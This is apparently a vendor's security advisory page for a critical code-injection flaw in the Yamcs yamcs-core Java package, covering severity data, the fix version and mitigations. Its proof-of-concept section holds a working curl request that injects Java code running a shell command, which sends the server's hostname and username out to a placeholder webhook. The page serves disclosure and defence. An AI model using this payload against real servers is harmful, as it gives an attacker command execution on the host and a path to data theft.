GHSA-524g-x36v-9wm6
CRITICALGHSA-524g-x36v-9wm6 is a critical-severity (CVSS 9.1) Code Injection vulnerability in org.yamcs:yamcs-core. O3 Security confirms whether GHSA-524g-x36v-9wm6 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Yamcs Vulnerable to Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-524g-x36v-9wm6.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-524g-x36v-9wm6 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 363,908 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.yamcs:yamcs-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Server-Side Code Injection vulnerability exists in the Yamcs algorithm evaluation engine (org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory). The application dynamically compiles and evaluates user-controlled algorithm text without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this to achieve Remote Code Execution (RCE) on the underlying host operating system via the Janino compiler.
Proof of Concept (PoC)
The vulnerability can be exploited by overriding an existing algorithm's text via the REST API and injecting a malicious Java payload that executes OS commands.
Prerequisites:
- A running Yamcs instance with an active processor (e.g.,
instance=myproject,processor=realtime). - An active authentication token for a user with the
SystemPrivilege.ChangeMissionDatabaseprivilege.
Steps to Reproduce:
- Send an authenticated HTTP
PATCHrequest to the MDB override endpoint to inject the malicious Java code into an existing algorithm (e.g.,copySunsensor). The payload usesjava.lang.Runtimeto execute a reverse shell or ping an external webhook.
curl -i -X PATCH \
'http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/copySunsensor' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \
-d '{
"action": "SET",
"algorithm": {
"text": "try { java.lang.Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/$(hostname)_$(whoami)\"}); } catch (Exception e) {} out0.setFloatValue(1.0f);"
}
}'
- Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the
simulator.pyscript to generate sun sensor data). - The Yamcs server uses the Janino
SimpleCompilerto compile the injected text into a Java class on the fly. Since no restrictiveClassLoaderis applied, the payload is successfully compiled and executed. - Verify that the command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.
Impact
This vulnerability allows a user with application-level configuration privileges to escalate their access to full System/OS control. This leads to arbitrary command execution, potential data exfiltration, and lateral movement within the network hosting the Yamcs server.
Credits
Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.yamcs:yamcs-core | all versions | 5.12.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.yamcs:yamcs-core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.yamcs:yamcs-core to 5.12.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-524g-x36v-9wm6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-524g-x36v-9wm6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-524g-x36v-9wm6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-524g-x36v-9wm6 in your dependencies?
O3 detects GHSA-524g-x36v-9wm6 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.